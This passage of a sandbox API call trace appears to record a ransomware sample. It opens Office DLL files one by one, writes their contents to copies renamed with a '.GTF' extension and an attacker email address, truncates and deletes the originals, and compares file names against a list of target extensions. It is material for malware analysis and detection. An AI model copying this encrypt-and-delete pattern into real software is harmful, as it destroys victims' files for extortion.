	[0085.041] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.041] SetEndOfFile (hFile=0x390) returned 1
	[0085.042] CloseHandle (hObject=0x390) returned 1
	[0085.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".doc") returned 4
	[0085.043] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString=".docx") returned 5
	[0085.043] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.043] lstrlenW (lpString=".pdf") returned 4
	[0085.043] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString=".xls") returned 4
	[0085.043] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString=".xlsx") returned 5
	[0085.043] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.043] lstrlenW (lpString=".ppt") returned 4
	[0085.043] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".zip") returned 4
	[0085.043] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString=".rar") returned 4
	[0085.043] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString=".bz2") returned 4
	[0085.043] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.043] lstrlenW (lpString=".7z") returned 3
	[0085.043] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".dbf") returned 4
	[0085.043] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".1cd") returned 4
	[0085.043] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".jpg") returned 4
	[0085.043] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.043] lstrlenW (lpString=".doc") returned 4
	[0085.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".docx") returned 5
	[0085.044] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.044] lstrlenW (lpString=".pdf") returned 4
	[0085.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".xls") returned 4
	[0085.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".xlsx") returned 5
	[0085.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.044] lstrlenW (lpString=".ppt") returned 4
	[0085.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString=".zip") returned 4
	[0085.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".rar") returned 4
	[0085.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.044] lstrlenW (lpString=".bz2") returned 4
	[0085.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.044] lstrlenW (lpString=".7z") returned 3
	[0085.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString=".dbf") returned 4
	[0085.044] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString=".1cd") returned 4
	[0085.044] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0085.044] lstrlenW (lpString=".jpg") returned 4
	[0085.044] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.044] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.044] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33
	[0085.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.802] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=23232) returned 1
	[0085.802] CloseHandle (hObject=0x358) returned 1
	[0085.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20
	[0085.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.803] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.803] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.803] GetLastError () returned 0x0
	[0085.803] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x5ac0, lpOverlapped=0x0) returned 1
	[0085.805] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x5ad0, lpOverlapped=0x0) returned 1
	[0085.806] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.806] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x116, lpOverlapped=0x0) returned 1
	[0085.806] SetEndOfFile (hFile=0x360) returned 1
	[0085.806] CloseHandle (hObject=0x360) returned 1
	[0085.806] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.806] SetEndOfFile (hFile=0x358) returned 1
	[0085.807] CloseHandle (hObject=0x358) returned 1
	[0085.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.807] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1
	[0085.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.808] lstrlenW (lpString=".doc") returned 4
	[0085.808] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString=".docx") returned 5
	[0085.808] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.808] lstrlenW (lpString=".pdf") returned 4
	[0085.808] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString=".xls") returned 4
	[0085.808] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString=".xlsx") returned 5
	[0085.808] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.808] lstrlenW (lpString=".ppt") returned 4
	[0085.808] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.808] lstrlenW (lpString=".zip") returned 4
	[0085.808] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString=".rar") returned 4
	[0085.808] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.808] lstrlenW (lpString=".bz2") returned 4
	[0085.808] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.808] lstrlenW (lpString=".7z") returned 3
	[0085.808] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.808] lstrlenW (lpString=".dbf") returned 4
	[0085.808] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.808] lstrlenW (lpString=".1cd") returned 4
	[0085.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".jpg") returned 4
	[0085.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".doc") returned 4
	[0085.809] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString=".docx") returned 5
	[0085.809] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.809] lstrlenW (lpString=".pdf") returned 4
	[0085.809] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString=".xls") returned 4
	[0085.809] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString=".xlsx") returned 5
	[0085.809] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.809] lstrlenW (lpString=".ppt") returned 4
	[0085.809] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".zip") returned 4
	[0085.809] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString=".rar") returned 4
	[0085.809] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.809] lstrlenW (lpString=".bz2") returned 4
	[0085.809] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.809] lstrlenW (lpString=".7z") returned 3
	[0085.809] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".dbf") returned 4
	[0085.809] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".1cd") returned 4
	[0085.809] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91
	[0085.809] lstrlenW (lpString=".jpg") returned 4
	[0085.809] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.810] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.810] lstrlenW (lpString="api-ms-win-crt-string-l1-1-0.dll") returned 32
	[0085.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.810] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=24768) returned 1
	[0085.810] CloseHandle (hObject=0x358) returned 1
	[0085.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20
	[0085.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.810] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.810] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.811] GetLastError () returned 0x0
	[0085.811] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0085.813] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0085.814] ReadFile (in: hFile=0x358, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.814] WriteFile (in: hFile=0x360, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x114, lpOverlapped=0x0) returned 1
	[0085.814] SetEndOfFile (hFile=0x360) returned 1
	[0085.814] CloseHandle (hObject=0x360) returned 1
	[0085.814] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.814] SetEndOfFile (hFile=0x358) returned 1
	[0085.815] CloseHandle (hObject=0x358) returned 1
	[0085.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.815] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 1
	[0085.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".doc") returned 4
	[0085.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".docx") returned 5
	[0085.816] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.816] lstrlenW (lpString=".pdf") returned 4
	[0085.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".xls") returned 4
	[0085.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".xlsx") returned 5
	[0085.816] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.816] lstrlenW (lpString=".ppt") returned 4
	[0085.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".zip") returned 4
	[0085.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".rar") returned 4
	[0085.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".bz2") returned 4
	[0085.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.816] lstrlenW (lpString=".7z") returned 3
	[0085.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".dbf") returned 4
	[0085.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".1cd") returned 4
	[0085.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".jpg") returned 4
	[0085.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.816] lstrlenW (lpString=".doc") returned 4
	[0085.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.816] lstrlenW (lpString=".docx") returned 5
	[0085.816] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.817] lstrlenW (lpString=".pdf") returned 4
	[0085.817] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.817] lstrlenW (lpString=".xls") returned 4
	[0085.817] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.817] lstrlenW (lpString=".xlsx") returned 5
	[0085.817] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.817] lstrlenW (lpString=".ppt") returned 4
	[0085.817] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.817] lstrlenW (lpString=".zip") returned 4
	[0085.817] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.817] lstrlenW (lpString=".rar") returned 4
	[0085.817] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.817] lstrlenW (lpString=".bz2") returned 4
	[0085.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.817] lstrlenW (lpString=".7z") returned 3
	[0085.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.817] lstrlenW (lpString=".dbf") returned 4
	[0085.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.817] lstrlenW (lpString=".1cd") returned 4
	[0085.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned 90
	[0085.817] lstrlenW (lpString=".jpg") returned 4
	[0085.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.817] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.817] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30
	[0085.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.818] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=21184) returned 1
	[0085.818] CloseHandle (hObject=0x358) returned 1
	[0085.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20
	[0085.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0085.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.818] GetLastError () returned 0x0
